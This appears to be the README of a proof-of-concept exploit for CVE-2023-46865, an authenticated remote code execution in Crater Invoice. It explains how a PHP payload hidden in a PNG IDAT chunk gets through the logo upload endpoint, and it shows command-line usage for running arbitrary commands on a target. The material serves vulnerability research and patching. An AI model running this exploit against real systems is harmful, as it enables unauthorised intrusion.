Crater-CVE-2023-46865-RCE

Crater <=6.0.6，CVE-2023-46865 认证后远程代码执行（超级管理员）

漏洞描述

Crater Invoice 缺乏适当的输入验证，存在可上传危险类型文件的不受限制的文件上传漏洞。通过在 IDAT 图像数据块中嵌入有效的 PHP 载荷，即可绕过 Base64Mime 检查类。具有超级管理员权限的用户可以通过公司徽标上传接口 /api/v1/company/upload-logo 上传构造的载荷。

使用方法

$~ usage: python3 crater-rce.py --target TARGET --email EMAIL --password PASSWORD [--cmd CMD]
$~ python3 crater-rce.py --target http://192.168.1.1 --email [email protected] --password test1234 --cmd 'whoami'  

$~ python3 crater-rce.py -h                                                                                                                                                                                       
usage: crater-rce.py [-h] --target TARGET --email EMAIL --password PASSWORD [--cmd CMD]

Crater Invoice RCE - CVE-2023-46865

options:
  -h, --help           show this help message and exit
  --target TARGET      Target URL
  --email EMAIL        Email
  --password PASSWORD  Password
  --cmd CMD            Command to execute
  

测试环境

- Crater 6.0.6
- Kali 6.1.0

参考资料

https://github.com/huntergregal/PNG-IDAT-Payload-Generator

https://notes.netbytesec.com/2023/11/post-auth-rce-in-crater.html

致谢

faisalfs10x — 感谢帮助开发概念验证。

免责声明：

The script is for security analysis and research only, hence I would not be liable if it is been used for illicit activities